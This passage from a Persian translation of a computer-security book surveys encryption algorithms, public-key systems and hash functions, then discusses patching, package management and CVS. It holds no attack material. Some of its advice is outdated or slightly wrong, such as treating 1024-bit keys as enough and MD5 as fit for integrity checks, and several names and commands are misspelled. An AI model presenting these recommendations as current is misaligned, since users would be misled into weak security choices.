DES سه‌گانه روشی است که با سه بار استفاده از الگوریتم رمزگذاری DES و سه کلید رمز متفاوت که جمعاً طول کلید رمز را به ۱۶۸ بیت می‌رساند، DES را بطور چشمگیری ایمن‌تر می‌کند. این الگوریتم که همچنین به "3DES" موسوم است در مقیاس وسیعی توسط مؤسسات مالی و نیز توسط *پوستهٔ امن* (SSH)[۸۶] استفاده شده است. از لحاظ نظری، دوبار استفاده از DES با دو کلید رمز متفاوت، بدلیل یک حملهٔ متن‌سادهٔ شناخته شده موسوم به *رویارویی در میان*[۸۷] – که در آن مهاجم همزمان کوشش می‌کند متن معمولی را با یک عملیات DES یگانه رمزگذاری و متن پیام رمزگذاری‌شده را با یک عملیات DES یگانهٔ دیگر رمزگشایی کند تا در آن میان یک تطابق پیدا شود – آنقدر که در ابتدا انتظار آن می‌رود امنیت را بهبود نمی‌بخشد.

BlowFish

BlowFish یک الگوریتم بلوکی رمزگذاری سریع، جمع و جور، و ساده است که توسط *بروس شنیر*[۸۸] ابداع شد. الگوریتم دارای یک کلید رمز با طول متغییر است که حداکثر می‌تواند تا ۴۴۸ بیت برسد، و برای اجرا روی پردازشگرهای ۳۲ بیتی و ۶۴ بیتی بهینه‌سازی شده است. درحال حاضر این الگوریتم از انحصار در آمده و در حوزهٔ مصرف همگانی قرار گرفته است. BlowFish در پوستهٔ ایمن و سایر برنامه‌های مشابه بکار می‌رود.

IDEA

الگوریتمهای رمزگذاری بین‌المللی داده (IDEA)[۸۹] در زوریخ سوئیس توسط *جیمز ال ماسی*[۹۰] و *زوجیا لای*[۹۱] پدید آمدند و در سال ۱۹۹۰ عمومی شدند. IDEA از یک کلید ۱۲۸ بیتی استفاده می‌کند و در برنامهٔ مشهور PGP برای رمزگذاری فایلها و نامه‌های

---

۸۲ فهرست کاملتری از این الگوریتمها در صفحات ۱۶۹ تا ۱۷۶ کتاب "Practical Unix & Internet Security" (PUIS) انتشارات اوریلی آمده است.

83 Data Encryption Standard
84 Electronic Frontier Foundation
85 Triple-DES
86 Secure Shell
87 Meet in the Middle
88 Bruce Schnier
89 International Data Encryption Algorithms
90 James L. Massey
91 Xuejia Lai

الکترونیکی استفاده می‌شود. متأسفانه استفادهٔ بیشتر از IDEA توسط یکسری امتیازات انحصار نرم‌افزاری الگوریتم که درحال حاضر در اختیار Ascom–Tech AG در سولوتورن سوئیس قرار دارد محدود شده است.

RC4

این الگوریتم رمزگذاری جریانی در ابتدا توسط *رولند ریوست*[۹۲] توسعه یافت و توسط مؤسسهٔ "امنیت داده‌های RSA" بعنوان یک راز محرمانه تجاری مخفی نگه داشته شد. الگوریتم در سال ۱۹۹۴ بوسیلهٔ یک کاربر گمنام UseNet افشا شد و بنظر می‌رسد نسبتاً قوی باشد. RC4 از کلیدهای رمز بین ۱ تا ۲۰۴۸ بیتی استفاده می‌کند.

Rijndael (AES)

این الگوریتم توسط *یوهان دیمن*[۹۳] و *وینت ریجمن*[۹۴] توسعه یافت و در ماه اکتبر سال ۲۰۰۰ توسط *مؤسسه ملی استاندارد و فناوری* (NIST)[۹۵] بعنوان استاندارد جدید رمزگذاری پشرفته ایالات متحده برگزیده شد. Rijndeal یک الگوریتم رمزی‌سازی فوق‌العاده سریع و جمع و جور است که می‌تواند از کلیدهای رمز به طول ۱۲۸ تا ۱۹۲ یا ۲۵۶ بیت استفاده کند.

رمزنگارها قدرت الگوریتمهایشان را با فرآیندهای مقایسه‌ای بررسی می‌کنند. وقتی یک الگوریتم منتشر می‌شود، سایر رمزنگارها بدنبال نقایص یا ضعفهای آن می‌گردند. به افرادی که ادعا می‌کنند یک الگوریتم رمزگذاری جدید ابداع کرده‌اند اعتماد نکنید، چراکه اگر نمی‌خواهند روش کار الگوریتمهایشان را آشکار کنند شاید به این دلیل است که اینکار اعتبار الگوریتمهایشان را خدشه‌دار می‌کند. در عمل دلیلی برای مخفیانه نگهداشتن یک الگوریتم وجود ندارد، چراکه امنیت واقعی در شفافیت است.

از طرف دیگر درک این مسئله حائز اهمیت است که تنها انتشار یافتن یک الگوریتم یا یک قطعه‌برنامه ضمانت نمی‌کند که نقایص آن یافته خواهند شد. الگوریتم رمزگذاری WEP که توسط مؤسسهٔ استاندارد شبکه‌سازی 802.11 ارائه شده بود، تا پیش از آنکه یک نقص مهم در الگوریتم آن یافته شود سالها مورد استفاده قرار داشت – نقص در تمام آن مدت وجود داشته، ولی هیچکس به اشکالی برخورد نکرده بود که بخواهد بدنبال یک نقص بگردد.

Padهای یکبار مصرف

یک سیستم رمزنگاری کلید رمز متقارن که ثابت شده ناشکستنی است، سیستم "Pad یکبار مصرف" است. در این نوع الگوریتم طرفهای برقرار کننده ارتباط یک کلید رمز متشکل از یک رشتهٔ طولانی از بایتهای تصادفی (طولانی‌تر از پیامی که قرار است ارسال شود) را به اشتراک می‌گذارند. با تبدیل هر بایت پیام بوسیلهٔ یک بایت کلید، پیام رمزگذاری و رمزگشایی می‌شود، و سپس آن بایت کلید از بین می‌رود و دیگر هیچگاه مورد استفاده قرار نمی‌گیرد. چون کلید تصادفی و غیر تکرارشونده است، حتی یک حملهٔ جستجوی کلید نیز عملی نخواهد بود، چراکه با هر کلید خاص، هر پیام ممکن می‌تواند تولید شود.

متأسفانه این دسته الگوریتمها محدودیتهای بسیاری دارند که استفاده از آنها را غیرعملی می‌کند. علاوه بر مشکلات معمول رمزگذاری متقارن (تبادل و نگهداری ایمن کلیدها) تولید مقادیر زیاد داده‌های واقعاً تصادفی همیشه ساده نیست، و توزیع مقادیر زیاد داده‌های مربوط به کلید نیز می‌تواند مشکل‌ساز باشد. با همهٔ این اوصاف این سیستم کمابیش برای پیوندهای ارتباطیِ نیازمند به امنیت فوق‌العاده زیاد استفاده می‌شود.

الگوریتم‌های کلید رمز همگانی

پدید آوردن الگوریتمهای کلید رمز همگانی مشکلتر از الگوریتمهای کلید رمز متقارن است و تعداد کمتری از آنها مورد استفاده قرار دارند. چون کلیدهای الگوریتمهای رمزگذاری متقارن و نامتقارن اساساً به صورتهای مختلفی مورد استفاده قرار می‌گیرند، با مقایسهٔ

92 *Roland Rivest*
93 *Joan Daemen*
94 *Vinet Rijmen*
95 *National Institute of Standards & Technology*

طول کلیدها نمی‌توان به استحکام نسبی و قدرت رمزنگاری این الگوریتمها پی‌برد. طول کلید در الگوریتمهای کلید رمز همگانی معمولاً از ۵۱۲ تا ۲۰۴۸ و ۴۰۹۶ بیت است، و البته برای بسیاری از کاربران استفاده از طول ۱۰۲۴ بیت برای آینده‌ای قابل پیش‌بینی کافی است. فهرست زیر، سیستمهای کلید رمز همگانی متداول امروز را خلاصه کرده است:

Diffie-Hellman

یک سیستم برای مبادلهٔ کلیدهای رمزنگاری میان طرفهای ارتباط. Diffie-Hellman در حقیقت یک روش رمزگذاری و رمزگشایی نیست، بلکه یک روش توسعه و تبادل یک کلید خصوصی مشترک روی یک کانال ارتباطی همگانی است. در واقع دو طرف ارتباط بر سر چند مقدار عددی متداول توافق می‌کنند، و آنگاه هر طرف یک کلید پدید می‌آورد. تبدیلات ریاضی کلیدها مبادله می‌شود، و آنگاه هر طرف ارتباط می‌تواند یک *کلید نشست*[۹۶] ثالث را محاسبه کند که توسط مهاجمی که هر دو مقدار تبادل‌شده را می‌داند نمی‌تواند به آسانی بدست آید.

DSA/DSS

استاندارد امضای دیجیتالی (DSS)[۹۷] توسط *آژانس امنیت ملی ایالات متحده*[۹۸] توسعه یافت و توسط مؤسسهٔ ملی استاندارد و فناوری بعنوان یک *استاندارد عمومی پردازش اطلاعات* (FIPS)[۹۹] انتخاب شد. DSS بر اساس *الگوریتم امضای دیجیتالی* (DSA)[۱۰۰] پایه‌گذاری شده است. اگرچه DSA هر طولی را برای کلید مجاز می‌شمارد، ولی در DSS FIPS فقط کلیدهای با طول بین ۵۱۲ و ۱۰۲۴ بیت مجاز هستند. همانطور که گفته شد DSS تنها می‌تواند برای امضای دیجیتالی بکار رود، و همچنین می‌توان از یک نوع پیاده‌سازی DSA برای رمزگذاری هم استفاده کرد.

منحنی‌های بیضوی

سیستمهای رمزنگاریِ منحنیِ بیضوی سیستمهایِ رمزگذاریِ کلید همگانی هستند که بجای روش قدیمی توابع لگاریتمی، مبتنی بر منحنی‌های بیضوی می‌باشند. مزیت کاربرد سیستمهای منحنی بیضوی از این حقیقت نشأت می‌گیرد که هیچ الگوریتم قابل محاسبه‌ای برای محاسبهٔ لگاریتمهای منفصل منحنیهای بیضوی شناخته نشده است. به همین دلیل کلیدهای کوتاه در سیستمهای رمزنگاری منحنی بیضوی می‌توانند درجه بالائی از محرمانگی و امنیت را به ارمغان بیاورند، علاوه بر اینکه محاسبات آنها هم بسیار سریع است. منحنی‌های بیضوی همچنین می‌توانند با کارایی بالا بصورت سخت‌افزاری پیاده‌سازی شوند.

RSA

RSA یک سیستم مشهور رمزنگاری کلید همگانی است که در سال ۱۹۷۷ میلادی توسط سه استاد دانشگاه MIT به نامهای *رولند ریوست*، *ادی شمیر*[۱۰۱]، و *لئونارد آدلمن*[۱۰۲] پدید آمد. از RSA هم می‌توان برای رمزگذاری اطلاعات و هم بعنوان مبنای یک سیستم امضای دیجیتالی استفاده کرد. امضاهای دیجیتالی می‌توانند برای اثبات اصالت یا سندیت اطلاعات دیجیتالی بکار روند. در این سیستم، کلید رمز بسته به نوعی از پیاده‌سازی که از آن استفاده می‌شود می‌تواند هر طولی داشته باشد.

توابع خلاصه‌پیام

توابع خلاصه‌پیام اطلاعات درون یک فایل (بزرگ یا کوچک) را به یک عدد بزرگ تبدیل می‌کنند که معمولاً ۱۲۸ تا ۲۵۶ بیت طول دارد. بهترین توابع خلاصه‌پیام واجد ویژگیهای زیر هستند:

96 *Session Key*
97 *Digital Signature Standard*
98 *U.S. National Security Agency (NSA)*
99 *Federal Information Processing Standard*
100 *Digital Signature Algorithm*
101 *Adi Shamir*
102 *Leonard Adleman*

الف) هر بیت خروجی تابع خلاصه‌پیام بصورت بالقوه تحت‌تأثیر همهٔ بیتهای ورودی تابع است.
ب) اگر یک بیت مفروض ورودی تابع تغییر کند، هر بیت خروجی تابع ۵۰ درصد شانس تغییر کردن دارد.
ج) اگر یک فایل ورودی و خلاصه‌پیام متناظر آنرا داشته باشیم، از نظر محاسباتی نباید توانست فایل دیگری با مقدار خلاصه‌پیام مشابه پیدا کرد.

از لحاظ نظری دو فایل متفاوت می‌توانند مقدار خلاصه‌پیام مشابه داشته باشند. این مسئله *تلاقی*[۱۰۳] نام دارد. برای اینکه یک تابع خلاصه‌پیام ایمن باشد، لازم است از نظر محاسباتی پیدا کردن یا تولید این تلاقی‌ها عملی نباشد.

توابع خلاصه‌پیام بسیاری ارائه شده‌اند که هم اکنون از آنها استفاده می‌شود. ذیلاً چند نمونه ذکر شده است:

MD2

تابع *خلاصه‌پیام شمارهٔ ۲*،[۱۰۴] توسط *رولند ریوست* پدید آمد. این تابع خلاصه‌پیام در میان توابع خلاصه‌پیام ایمن‌ترین تابع ریوست است، اما محاسباتش نیز بیشترین زمان را می‌گیرد. درنتیجه MD2 بندرت مورد استفاده قرار می‌گیرد. MD2 یک خلاصهٔ ۱۲۸ بیتی تولید می‌کند.

MD4

"خلاصه‌پیام شمارهٔ ۴" هم توسط رولند ریوست پدید آمد. این الگوریتم خلاصه‌پیام بعنوان یک جایگزین سریعتر برای MD2 ابداع شد. متعاقباً نشان داده شد که MD4 نقاط ضعف بالقوه دارد. یعنی این احتمال وجود دارد که فایلی پیدا شود که MD4 مشابهی با یک فایل داده شده تولید کند، بدون اینکه نیاز به جستجوی brute force باشد (که البته به همان دلیل که جستجو در فضای کلید ۱۲۸ بیتی عملی نیست، جستجوی brute force هم عملی نمی‌باشد). MD4 نیز یک خلاصهٔ ۱۲۸ بیتی تولید می‌کند.

MD5

"خلاصه‌پیام شماره ۵" نیز توسط *رولند ریوست* پدید آمد. MD5، اصلاح شدهٔ MD4 است که از تکنیکهایی استفاده کرده که برای ایمن‌تر کردن آن طراحی شده‌اند. اگرچه از MD5 به وفور استفاده می‌شود، در تابستان ۱۹۹۶ چند نقص در آن کشف شد که موجب شد گونه‌هائی از تلاقی‌ها را بتوان در الگوریتم ضعیف‌شدهٔ آن محاسبه کرد. درنتیجه MD5 آرام آرام رواج خود را از دست می‌دهد. از هردوی MD5 و SHA-1 در فناوری SSL و تصدیق هویت مایکروسافت استفاده شده است. MD5 نیز یک خلاصه ۱۲۸ بیتی تولید می‌کند.

SHA

الگوریتم hash ایمن[۱۰۵]، مرتبط با MD4 می‌باشد و برای استفاده همراه استاندارد امضای دیجیتالی مؤسسهٔ ملی استاندارد و فناوری (NIST's DSS) طراحی شده است. مدت کوتاهی بعد از انتشار SHA، NIST اعلام کرد که SHA بدون یک تغییر کوچک برای استفاده مناسب نیست. SHA یک خلاصهٔ ۱۶۰ بیتی تولید می‌کند.

SHA-1

الگوریتم "hash ایمن اصلاح شده" نسبت به SHA کمی تغییر کرده است. برای عموم دانسته نیست که آیا این تغییرات SHA-1 را نسبت به SHA ایمن‌تر می‌کند یا نه، اما عدهٔ زیادی بر این باورند که چنین می‌کند. SHA-1 هم یک خلاصهٔ ۱۶۰ بیتی تولید می‌کند.

---

103 Collision
104 Message Digest #2
105 Secure Hash Algorithm

SHA-256، SHA-384، SHA-512

توابع hash ۲۵۶، ۳۸۴، و ۵۱۲ بیتی بترتیب برای استفاده با الگوریتمهای رمزگذاری ۲۵۶، ۱۹۲، و ۱۲۸ بیتی طراحی شده‌اند. این توابع توسط NIST در سال ۲۰۰۱ جهت استفاده در استاندارد رمزگذاری پیشرفته پیشنهاد شدند.

علاوه بر این توابع، این امکان نیز وجود دارد که از سیستمهای سنتی رمزگذاری متقارن بلوکی مثل DES بعنوان توابع خلاصه‌پیام استفاده کرد. برای استفاده از یک تابع رمزگذاری بعنوان تابع خلاصه‌پیام کافی است تابع رمزگذاری را در *حالت رمزی‌سازی بازخور*[۱۰۶] اجرا کنید. بعنوان کلید، از کلید رمزی که بطور تصادفی انتخاب شده و مخصوص این کاربرد است استفاده نمائید. تمام فایل ورودی را رمزگذاری کنید. آخرین بلوک داده رمزگذاری‌شده، خلاصه‌پیام شماست. الگوریتمهای رمزگذاری متقارن hashهای عالی تولید می‌کنند ولی بسیار کندتر از توابع خلاصه‌پیام سابق‌الذکر هستند.

توابع خلاصه‌پیام ابزار قوی برای آشکارسازی تغییرات بسیار کوچک در فایلها یا پیامهای بسیار بزرگ هستند. برای پیامتان کد MD5 را محاسبه کنید و آنرا به کناری بگذارید؛ بعد از مدتی اگر فکر می‌کنید که فایل (عمداً یا سهواً) تغییر یافته کافی است کد MD5 را مجدداً محاسبه کنید و با آن MD5 که بار اول محاسبه کردید مقایسه نمائید. اگر با هم مطابقت کردند، با اطمینان زیاد می‌توانید فرض را برآن بگذارید که فایل تغییر نیافته است.

توابع خلاصه‌پیام بدلیل ویژگیهایشان بخش مهمی از سیستمهای رمزنگاری مورد استفاده امروزی نیز هستند. خلاصه‌پیامها مبنای اغلب استانداردهای امضای دیجیتالی می‌باشند. استانداردهای امضای دیجیتالی امروزی تصریح می‌کنند که بجای کل سند کافی است خلاصه‌پیام سند امضا شود.

خلاصه‌پیامها همچنین می‌توانند به آسانی برای تکه‌برنامه‌های تصدیق هویت پیام که یک رمز مشترک بین دو طرف ارتباط می‌باشند و تأیید پیام را ثابت می‌کنند بکار روند. MACها به انتهای پیامی که باید تأیید صحت شود ضمیمه می‌شوند (RFC شمارهٔ ۲۱۰۴ چگونگی کاربرد درهم‌ریزی مبتنی بر کلید برای تأیید صحت پیام را شرح می‌دهد). MACهائی که بر پایهٔ خلاصه‌پیامها هستند امنیت بیشتری برای رمزنگاری پروتکلهای مسیریابی اینترنت فراهم می‌سازند.

حفظ یکپارچگی

حفظ یکپارچگی و صحت اطلاعات ذخیره‌شده در رایانه‌ها برای برقراری امنیت کلی و انجام عملیات قابل اعتماد حیاتی است. شما باید از یکپارچگی سیستم‌عامل، یکپارچگی برنامه‌های کاربردی، و یکپارچگی داده‌هایتان اطمینان حاصل کنید. درخصوص سیستم‌عاملها و برنامه‌های کاربردی، این مسئله نه‌تنها مستلزم نظارت برای تغییرات ناخواسته در نرم‌افزار شما است، بلکه همچنین اعمال وصله‌ها و اصلاحات امنیتی لازم برای حفظ ایمنی نرم‌افزار را نیز شامل می‌شود.

به‌روز نگهداشتن سیستمها

از لحظه‌ای که یک *ایستگاه کاری*[۱۰۷] یا سرویس‌دهنده به اینترنت وصل می‌شود، در معرض تلاشهای کشف و دستیابی افراد ناخوانده بیرونی قرار می‌گیرد. مهاجمین، میزبانهای اینترنتی جدید را با سرعتی شگفت‌آور پیدا می‌کنند. جزئیات گزارش شده در این مورد را می‌توان در پایگاه وبی که توسط طرح Honeynet حمایت می‌شود – http://project.honeynet.org/ – پیدا کرد. در یک مورد، یک سیستم Honeynet که جدیداً پیکربندی شده بود، تنها ۱۵ دقیقه بعد از آنکه در شبکه قرار داده شد با موفقیت هدف نفوذ قرار گرفت. لذا لازم است هر سیستمی که وارد شبکه می‌شود – هم قبل از اتصال به شبکه و هم بعد از آن – با اصلاحات امنیتی به‌روز نگه داشته شود.

106 Cipher Feedback Mode
107 Workstation

سیستمهای مدیریت نرم‌افزار

سیستم مدیریت نرم‌افزار یک دسته ابزارها و روالها است برای حفظ ردیابی اینکه چه نسخه‌هایی از کدام نرم‌افزار نصب شده هستند، و اینکه آیا هیچ تغییرات محلی در نرم‌افزار یا فایلهای پیکربندی آن صورت گرفته یا نه. بدون چنین سیستمی امکان اینکه بدانیم آیا یک جزء نرم‌افزار لازم است به روز شود یا اینکه چه تغییرات محلی صورت پذیرفته که لازم است پس از به روز در آمدن محفوظ بماند وجود ندارد. استفاده از یک سیستم مدیریت نرم‌افزار در به‌روز نگهداری سیستم برای اهداف امنیتی حیاتی و برای ارتقاهای غیر امنیتی نیز مفید است.

خوشبختانه تقریباً همهٔ سیستمهای Unix و سیستمهای مبتنی بر Windows NT نوعی مدیریت نرم‌افزار برای اجزای مرکزی سیستم‌عامل و نرم‌افزارهای کاربردی توزیع‌شده با آنها را فراهم می‌کنند. درحال حاضر متداولترین روش، استفاده از "بسته‌های مدیریتی" – فایلهای پشتیبانی و قابل اجرای از پیش ترجمه‌شده – است که خود می‌توانند با بررسی سیستم متوجه شوند کدامیک از فایلهای قابل اجرا می‌توانند نصب شوند.

سیستمهای مبتنی بر بستهٔ نرم‌افزاری

یک فایل نوعیِ بسته نرم‌افزاری، فایلی شامل یک دسته برنامه‌های اجرایی است که قبلاً ترجمه شده‌اند، همراه هرگونه فایلهای مرتبط از قبیل کتابخانه‌ها، فایلهای پیکربندی پیش‌فرض، و مستندات. تحت اغلب سیستمهای بسته نرم‌افزاری، بسته نرم‌افزار دارای *فراداده‌هایی*[۱۰۸] مانند موارد زیر نیز هست:

- اطلاعات مربوط به نگارش نرم‌افزاری که در آن بسته وجود دارد؛
- اطلاعات مربوط به نسخه‌های سازگار سیستم‌عامل یا معماری‌های سخت‌افزاری؛
- فهرست سایر بسته‌های نرم‌افزاری که این بسته آنها را لازم دارد؛
- فهرست سایر بسته‌های نرم‌افزاری که این بسته با آنها در تعارض است؛
- فهرست اینکه کدام فایلها فایلهای پیکربندی هستند (یا فهرست فایلهایی که کاربر می‌تواند آنها را پس از نصب تغییر دهد)؛ و
- فرامینی که قرار است قبل، در خلال، و پس از نصب فایلهای موجود در بسته اجرا شوند.

جزء مهم دیگر یک سیستم مبتنی بر بسته نرم‌افزاری، پایگاه دادهٔ نسخه‌های بسته‌های نرم‌افزاری است که روی سیستم نصب شده‌اند. در سیستمهای Windows غالباً Registery این هدف را تأمین می‌کند.

استفاده از سیستمهای مبتنی بر بسته‌های نرم‌افزاری ساده است. راهبر سیستم می‌تواند با یک یا دو فرمان ساده نرم‌افزار جدید را نصب یا وقتی یک نسخه جدید یا اصلاح‌شده ارائه می‌شود نرم‌افزار فعلی را ارتقا دهد. چون فایلهای اجرایی بسته نرم‌افزاری از قبل برای سیستم‌عامل و بستر سخت‌افزاری مورد نظر ترجمه شده‌اند، لازم نیست راهبر برای پیکربندی برنامه وقت صرف کند.

از طرف دیگر بسته‌های نرم‌افزاری برای کار با پیکربندی معمول سیستم‌عامل و نه لزوماً پیکربندی مورد استفادهٔ شما ترجمه شده‌اند. اگر لازم است برنامه‌هایتان را برای کارکردن با نوع خاصی از سخت‌افزار تنظیم کنید، آنها را با یک سیستم تصدیق هویت غیرعادی سازگار نمائید، یا اگر تنها مایل باشید برنامه را با یک پیکربندی دلخواه اجرا کنید، احتمالاً متن برنامه – چنانچه در دسترس باشد – بیشتر به کار شما می‌آید. هستهٔ اصلی سیستم‌عاملهای Unix نمونهٔ خوبی برای این مسئله است.

در سیستمهای تجاری که متن برنامه را ارائه نمی‌کنند استفاده از روش مدیریت مبتنی بر بسته‌های نرم‌افزاری مناسبتر از روشهای دیگر بنظر می‌رسد. برای مثال Solarix 2.x فرامین pkgadd، pkgrm، pkginfo، showren (و سایر فرامین مشابه) را برای اضافه، حذف، و یا دریافت وضعیت بسته‌های نرم‌افزاری از پوسته، و فرمان admintool را برای مدیریت نرم‌افزار در یک محیط گرافیکی فراهم کرده است. سیستمهای Windows از پایگاه وب WindowsUpdate برای download و نصب موارد اصلاحات به‌روزرسان سیستم‌عامل و تسهیلات مرکزی آن استفاده می‌کند.

---

108 Metadata

مدیریت بسته نرم‌افزاری تنها مخصوص سیستمهای تجاری نیست. توزیعهای مبتنی بر Unix نرم‌افزارهای آزاد نیز سیستمهای مدیریت نرم‌افزار ارائه می‌کنند تا به‌روز نگهداری سیستم را برای راهبران ساده‌تر کنند. چندین توزیع مبتنی بر Linux، سیستم *مدیریت بسته نرم‌افزاری RPM*[۱۰۹] را برگزیده‌اند. این سیستم از یک فرمان rpm برای تمام کارهای مدیریتی بسته نرم‌افزاری خود استفاده می‌کند. Debian GNU/Linux از یک سیستم مدیریت بسته نرم‌افزاری جایگزین بنام dpkg استفاده می‌کند. سیستمهای Unix مبتنی بر BSD روی *به‌روزرسانهای مبتنی بر متن*[۱۱۰] تمرکز دارند، اما در عین حال مجموعه‌ای از بسته‌های نرم‌افزاری از پیش ترجمه‌شده ارائه می‌کنند که بوسیلهٔ فرامین pkg_add، pkg_delete، و pkg_info اداره می‌شوند.

سیستم‌های مبتنی بر متن

برخلاف سیستمهای مبتنی بر بستهٔ نرم‌افزاری، سیستمهای مبتنی بر متن معمولاً بر کمک به راهبر سیستم برای پشتیبانی از یک نسخهٔ به‌روز شدهٔ متن برنامهٔ سیستم‌عامل یا برنامه کاربردی تأکید دارند، که در آن فایلهای اجرایی جدید می‌توانند ترجمه و نصب شوند.

سیستم مدیریت مبتنی بر متن از چند منظر بر سیستم مدیریت بستهٔ نرم‌افزاری ترجیح دارد: یک به‌روزرسان مبتنی بر متن تنها در یک نسخه واحد ارائه می‌شود، در مقابلِ بسته‌های نرم‌افزاری ترجمه شده که باید بطور مجزا برای هر معماری رایانه یا سیستم‌عامل که نرم‌افزار در آن اجرا می‌شود ترجمه و بسته‌بندی نرم‌افزاری شوند. همچنین درصورتیکه لازم شود تغییرات محلی در متن برنامه صورت بگیرد تنها سیستمهای مبتنی بر متن می‌توانند مورد استفاده قرار گیرند.

از نقطه‌نظر امنیتی، ساخت بسته‌های نرم‌افزاری از روی متن برنامه می‌تواند یک پشتیبانی گیج‌کننده باشد. از یک طرف شما آزاد هستید که متن برنامه را بررسی کرده و مطمئن شوید که هیچگونه اشکال پنهان یا اسب تراوا در آن وجود ندارد. در عمل انجام این بررسی دشوار است و بندرت صورت می‌پذیرد؛ و از طرف دیگر چنانچه یک مهاجم بتواند به متن برنامه شما دسترسی پیدا کند، برایش مشکل چندانی نخواهد بود که متن برنامه اسب تراوای خود را به آن اضافه کند! برای جلوگیری از این مسئله باید اطمینان حاصل کنید که هم متن برنامه‌ای که ترجمه می‌کنید مربوط به یک برنامهٔ کاربردی قابل اعتماد است، و هم اینکه یک متن برنامهٔ مورد اعتماد در اختیار دارید.

متن برنامه و وصله‌ها

ساده‌ترین روش برای مدیریت متن برنامه این است که متن برنامهٔ کاربردی را در سیستم قابل دسترس داشته باشیم و هرگاه که تغییر می‌کند آنرا مجدداً ترجمه نماییم. وقتی یک اصلاح برای یک برنامهٔ کاربردی منتشر می‌شود، معمولاً به شکل یک patch diff است؛ فایلی که شرح می‌دهد کدامیک از خطوط برنامه در نسخه قدیمی باید تغییر کنند، پاک شوند، یا به آن افزوده شوند تا به تولید نسخهٔ جدید منجر شود. برنامه diff این فایلها را تولید می‌کند، و برنامهٔ اصلاحی برای اعمال آنها به نسخه قدیمی است تا با انجام شدن عمل به‌روزرسانی، نسخهٔ جدید ایجاد شود. بعد از اصلاح متن برنامه، راهبر سیستم برنامهٔ کاربردی را ترجمه کرده و آنرا مجدداً نصب می‌نماید.

برای مثال Free BSD و نسخه‌های Unix مرتبط با آن برنامه‌های کاربردی فراوانی را در مجموعه portهای خود منتشر می‌کنند. یک برنامه کاربردی از متن برنامهٔ اصلی نوشته شده و مجموعه‌ای از اصلاح‌هایی که اعمال شده‌اند تا یکپارچه‌سازی برنامه کاربردی را در محیط BSD بهبود بخشند تشکیل می‌شود. فایلهای قابل ترجمه، برنامهٔ کاربردی را بصورت خودکار می‌سازند، آنرا نصب می‌کنند، و سپس فایلهای برنامه کاربردی را با فرمان BSD مربوطه (pkg_odd) ثبت می‌نمایند. در سیستمهای FreeBSD برای پشتیبانی نرم‌افزارهای شخص ثالث از این روش به میزان وسیعی استفاده می‌شود.

109 RPM Package Management
110 Source-Based Updates

CVS

روش دیگر برای برای مدیریت متن، ذخیره‌سازی متن برنامه در یک سرویس‌دهنده با استفاده از یک *سیستم کنترل نسخه*[۱۱۱] متن برنامه مثل *سیستم نسخه‌های همزمان* (CVS)،[۱۱۲] و پیکربندی سرویس‌دهنده برای اجازه دادن به برقراری اتصالات سرویس‌گیرنده ناشناس است. کاربرانی که می‌خواهند متن برنامه خود را تا آخرین برونداد به‌روز کنند برای بررسی نهایی آخرین نسخهٔ اصلاح‌شده از برنامه CVS استفاده می‌کنند و بعد از آن متن به‌روز درآمده می‌تواند ترجمه و نصب شود.

FreeBSD، NetBSD، و OpenBSD برای انتشار و پشتیبانی نرم‌افزارهای مرکزی سیستم‌عاملهای خود از CVS استفاده می‌کنند. علاوه بر آن دهها هزار نرم‌افزار متن‌باز از سرویس‌دهنده‌های CVS مربوط به خود پشتیبانی می‌کنند یا در پایگاههایی مثل sourceforge.net که مخازن CVS ارائه می‌کنند میزبانی می‌شوند. بعنوان یک مرجع خوب CVS می‌توان به کتاب "ضروریات CVS" (Essential CVS) اشاره کرد که توسط انتشارات اوریلی و شرکا به چاپ رسیده است.

ارتقای نرم‌افزار سیستم

قبل از اینکه سیستم به شبکه متصل شود ضروری است اطمینان حاصل کنید که وصله‌های مربوط به تمام مشکلات امنیتیِ آشکار در نرم‌افزاری که اجرا می‌کنید اعمال شده‌اند. بطور مشابه به محض اینکه سیستم شروع به کار کرد شما باید برای فراگیری مشکلات امنیتی تازه کشف‌شده در سیستم‌عامل و برنامه‌های کاربردی گوش به زنگ باشید تا زمانی که اصلاح‌ها منتشر شدند آنها را اعمال کنید.

ایمن‌ترین راه برای اصلاح نرم‌افزار تازه نصب شده download کردن اصلاح‌ها از طریق یک رایانهٔ دیگر و متصل به اینترنت است که با آخرین اصلاحات ایمنی به‌روز شده (مثلاً یک سرویس‌گیرندهٔ Mac یا رایانهٔ شخصی که هیچ خدمات سرویس‌دهنده‌ای ارائه نمی‌کند). به‌روزرسانیهای مورد بحث را بعد از اینکه یکبار download شدند می‌توان روی دیسک فشرده منتقل کرد یا با استفاده از ارتباط یک شبکه محلی به سیستم جدید برد و اعمال نمود. این روش همچنین زمانی مناسب است که شما چندین رایانه دارید که سیستم‌عاملهای مشابهی برای به‌روز شدن روی آنها است و با download کردن چندبارهٔ به‌روزرسانی‌ها اتصال شبکه را کند می‌کنند. به‌روزرسانیها می‌توانند تنها یکبار منتقل شوند و برای اعمال روی هر دستگاه از روی دیسک فشرده به اجرا درآیند. برای سیستمهای مایکروسافت، پایگاه وب WindowsUpdate Catalog به‌روزرسانهای قابل download را در دسترس قرار داده است.

اگر هیچ میزبان متصل به اینترنت در دسترس یا مناسب اینکار نیست، ممکن است لازم شود میزبان جدید قبل از آنکه اصلاحات اعمال شده باشند به اینترنت متصل شود. در اینصورت همهٔ سرویس‌دهنده‌های شبکه‌ای روی دستگاه را غیرفعال کنید، و تا حد امکان زمان اتصال را کوتاه نمایید – تنها به اندازه‌ای که اصلاح‌های مورد نیاز download شوند – و سپس هنگامیکه اصلاح‌ها درحال نصب شدن هستند دستگاه را بطور فیزیکی از شبکه جدا سازید. این فرآیند درصورتیکه اتصال دستگاه بوسیلهٔ یک دیوارهٔ آتش Stateful یا یک مسیریاب که آدرسهای شبکه را ترجمهٔ می‌کند محافظت شود می‌تواند ایمن‌تر هم بشود، بگونه‌ای که تنها بسته‌هایی بتوانند به میزبان جدید برسند که مرتبط با اتصالی هستند که توسط میزبان جدید شروع شده است.

شما نمی‌توانید نرم‌افزاری که نمی‌دانید آنرا نصب کرده‌اید یا نه را به روز نگهدارید. یک جزء مهم فرآیند به‌روزرسانی، کشف و ردیابی برنامه‌های کاربردی جدیدی است که نصب شده‌اند. سیستم‌عاملهایی که از بسته‌های نرم‌افزاری استفاده می‌کنند معمولاً از دستوراتی برخوردارند که به شما امکان می‌دهند تشخیص دهید چه بسته‌های نرم‌افزاری نصب شده است. اساس مدیریت مبتنی بر متن معمولاً بر نگهداری همهٔ متنهای برنامه‌های کاربردی نصب شده در یک محل واحد – که به آسانی مورد دسترسی قرار بگیرد – استوار است.

---

111 Versioning Systems
112 Concurrent Versioning System

